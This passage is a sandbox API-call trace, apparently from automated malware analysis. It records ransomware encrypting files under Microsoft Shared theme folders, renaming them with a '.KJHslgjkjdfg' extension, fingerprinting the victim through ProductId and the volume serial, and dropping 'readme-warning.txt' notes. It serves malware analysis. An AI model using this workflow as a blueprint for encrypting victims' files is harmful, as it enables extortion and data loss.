lpNewFilePointer=0x0) returned 1 [0150.833] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4c50, lpOverlapped=0x0) returned 1 [0150.833] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.833] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.833] SetEndOfFile (hFile=0x118) returned 1 [0150.836] GetProcessHeap () returned 0x2a0000 [0150.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.836] GetProcessHeap () returned 0x2a0000 [0150.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0150.837] CloseHandle (hObject=0x118) returned 1 [0150.841] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0150.841] GetProcessHeap () returned 0x2a0000 [0150.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.841] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.841] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0150.841] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.841] GetProcessHeap () returned 0x2a0000 [0150.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0150.841] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.841] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0150.841] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.841] GetProcessHeap () returned 0x2a0000 [0150.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0150.841] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.841] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0150.841] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.842] GetProcessHeap () returned 0x2a0000 [0150.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0150.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.842] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0150.842] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.842] GetProcessHeap () returned 0x2a0000 [0150.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0150.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.842] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0150.842] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.842] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0150.842] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0150.842] RegCloseKey (hKey=0x118) returned 0x0 [0150.842] GetProcessHeap () returned 0x2a0000 [0150.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0150.842] GetProcessHeap () returned 0x2a0000 [0150.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0150.842] GetProcessHeap () returned 0x2a0000 [0150.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0150.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0150.843] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0150.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.843] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0150.843] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0150.843] GetProcessHeap () returned 0x2a0000 [0150.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0150.843] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0150.843] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0150.843] GetProcessHeap () returned 0x2a0000 [0150.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0150.843] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt") returned 81 [0150.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.845] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0150.846] CloseHandle (hObject=0x118) returned 1 [0150.847] GetProcessHeap () returned 0x2a0000 [0150.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0150.847] GetProcessHeap () returned 0x2a0000 [0150.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0150.847] GetProcessHeap () returned 0x2a0000 [0150.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0150.847] GetProcessHeap () returned 0x2a0000 [0150.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.847] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0150.848] GetProcessHeap () returned 0x2a0000 [0150.848] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0150.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0150.848] GetProcessHeap () returned 0x2a0000 [0150.848] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0150.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0150.852] GetProcessHeap () returned 0x2a0000 [0150.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0150.852] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0150.852] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0150.853] GetProcessHeap () returned 0x2a0000 [0150.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0150.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.853] GetProcessHeap () returned 0x2a0000 [0150.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.853] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.853] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0150.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.856] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.856] GetProcessHeap () returned 0x2a0000 [0150.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.856] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0150.856] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.856] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0150.857] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.857] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.857] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.857] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.857] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.857] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.857] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.857] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6c9, lpOverlapped=0x0) returned 1 [0150.857] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6d0) returned 1 [0150.857] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.857] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6d0, lpOverlapped=0x0) returned 1 [0150.858] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.858] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.858] SetEndOfFile (hFile=0x118) returned 1 [0150.860] GetProcessHeap () returned 0x2a0000 [0150.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.861] GetProcessHeap () returned 0x2a0000 [0150.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.kjhslgjkjdfg")) returned 1 [0150.862] CloseHandle (hObject=0x118) returned 1 [0150.862] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0150.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.862] GetProcessHeap () returned 0x2a0000 [0150.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.862] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.862] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.862] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0150.865] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.865] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.865] GetProcessHeap () returned 0x2a0000 [0150.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.865] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0150.865] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.865] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0150.865] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.865] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.865] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.865] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.865] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.866] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.866] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.866] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.866] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe232, lpOverlapped=0x0) returned 1 [0150.867] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe240, dwBufLen=0xe240 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe240) returned 1 [0150.868] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.868] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe240, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe240, lpOverlapped=0x0) returned 1 [0150.868] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.868] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.868] SetEndOfFile (hFile=0x118) returned 1 [0150.872] GetProcessHeap () returned 0x2a0000 [0150.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.872] GetProcessHeap () returned 0x2a0000 [0150.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.kjhslgjkjdfg")) returned 1 [0150.877] CloseHandle (hObject=0x118) returned 1 [0150.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0150.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.879] GetProcessHeap () returned 0x2a0000 [0150.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.879] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.880] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.880] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0150.881] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.881] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.881] GetProcessHeap () returned 0x2a0000 [0150.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.881] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0150.881] CryptDestroyKey 